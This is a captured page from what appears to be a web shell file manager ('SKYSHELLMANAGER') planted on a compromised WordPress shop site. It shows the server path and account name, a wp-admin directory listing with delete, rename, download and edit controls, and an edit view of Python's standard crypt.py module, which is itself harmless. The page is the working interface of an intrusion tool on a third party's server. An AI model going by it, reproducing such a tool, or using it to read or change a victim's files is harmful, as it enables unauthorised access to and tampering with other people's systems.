ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.29

Path:root/home/carl3/public_html/shop.oppedahl.com/wp-admin/

Name	Size	Perm	Actions
📁 css	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 includes	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 maint	-	0755	🗑️ 🏷️
📁 network	-	0755	🗑️ 🏷️
📁 user	-	0755	🗑️ 🏷️
📄 admin-ajax.php	5.03 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-functions.php	0.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-header.php	9.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-post.php	1.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	12.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 authorize-application.php	10.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 contribute.php	5.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 custom-background.php	0.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 custom-header.php	0.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 customize.php	11.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-comments.php	14.14 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-advanced.php	28.79 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-blocks.php	14.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-tag-form.php	10.42 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-tags.php	21.98 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit.php	19.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 export-personal-data.php	7.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	7.68 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 install.php	17.91 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 link-parse-opml.php	2.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 load-scripts.php	2.02 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 load-styles.php	2.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-new.php	3.17 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-admin.php	0.19 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-delete-site.php	4.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-edit.php	0.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-users.php	0.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-media.php	6.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-permalink.php	21.89 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options-reading.php	9.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 plugin-editor.php	13.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 plugin-install.php	6.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 press-this.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 profile.php	0.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 site-health-info.php	4.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 site-health.php	10.18 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update-core.php	45.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 upgrade-functions.php	0.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 upgrade.php	6.24 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 upload.php	14.9 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 user-new.php	24.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 users.php	23.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 widgets.php	1.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 yho.txt	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: crypt.py

"""Wrapper to the POSIX crypt library call and associated functionality."""

import sys as _sys

try:
    import _crypt
except ModuleNotFoundError:
    if _sys.platform == 'win32':
        raise ImportError("The crypt module is not supported on Windows")
    else:
        raise ImportError("The required _crypt module was not built as part of CPython")

import errno
import string as _string
from random import SystemRandom as _SystemRandom
from collections import namedtuple as _namedtuple

_saltchars = _string.ascii_letters + _string.digits + './'
_sr = _SystemRandom()

class _Method(_namedtuple('_Method', 'name ident salt_chars total_size')):

"""Class representing a salt method per the Modular Crypt Format or the
    legacy 2-character crypt method."""

def __repr__(self):
        return '<crypt.METHOD_{}>'.format(self.name)

def mksalt(method=None, *, rounds=None):
    """Generate a salt for the specified method.

If not specified, the strongest available method will be used.

"""
    if method is None:
        method = methods[0]
    if rounds is not None and not isinstance(rounds, int):
        raise TypeError(f'{rounds.__class__.__name__} object cannot be '
                        f'interpreted as an integer')
    if not method.ident:  # traditional
        s = ''
    else:  # modular
        s = f'${method.ident}$'

if method.ident and method.ident[0] == '2':  # Blowfish variants
        if rounds is None:
            log_rounds = 12
        else:
            log_rounds = int.bit_length(rounds-1)
            if rounds != 1 << log_rounds:
                raise ValueError('rounds must be a power of 2')
            if not 4 <= log_rounds <= 31:
                raise ValueError('rounds out of the range 2**4 to 2**31')
        s += f'{log_rounds:02d}$'
    elif method.ident in ('5', '6'):  # SHA-2
        if rounds is not None:
            if not 1000 <= rounds <= 999_999_999:
                raise ValueError('rounds out of the range 1000 to 999_999_999')
            s += f'rounds={rounds}$'
    elif rounds is not None:
        raise ValueError(f"{method} doesn't support the rounds argument")

s += ''.join(_sr.choice(_saltchars) for char in range(method.salt_chars))
    return s

def crypt(word, salt=None):
    """Return a string representing the one-way hash of a password, with a salt
    prepended.

If ``salt`` is not specified or is ``None``, the strongest
    available method will be selected and a salt generated.  Otherwise,
    ``salt`` may be one of the ``crypt.METHOD_*`` values, or a string as
    returned by ``crypt.mksalt()``.

"""
    if salt is None or isinstance(salt, _Method):
        salt = mksalt(salt)
    return _crypt.crypt(word, salt)

#  available salting/crypto methods
methods = []

def _add_method(name, *args, rounds=None):
    method = _Method(name, *args)
    globals()['METHOD_' + name] = method
    salt = mksalt(method, rounds=rounds)
    result = None
    try:
        result = crypt('', salt)
    except OSError as e:
        # Not all libc libraries support all encryption methods.
        if e.errno == errno.EINVAL:
            return False
        raise
    if result and len(result) == method.total_size:
        methods.append(method)
        return True
    return False

_add_method('SHA512', '6', 16, 106)
_add_method('SHA256', '5', 16, 63)

# Choose the strongest supported version of Blowfish hashing.
# Early versions have flaws.  Version 'a' fixes flaws of
# the initial implementation, 'b' fixes flaws of 'a'.
# 'y' is the same as 'b', for compatibility
# with openwall crypt_blowfish.
for _v in 'b', 'y', 'a', '':
    if _add_method('BLOWFISH', '2' + _v, 22, 59 + len(_v), rounds=1<<4):
        break

_add_method('MD5', '1', 8, 34)
_add_method('CRYPT', None, 2, 13)

del _v, _add_method

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.29

Edit: crypt.py

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.29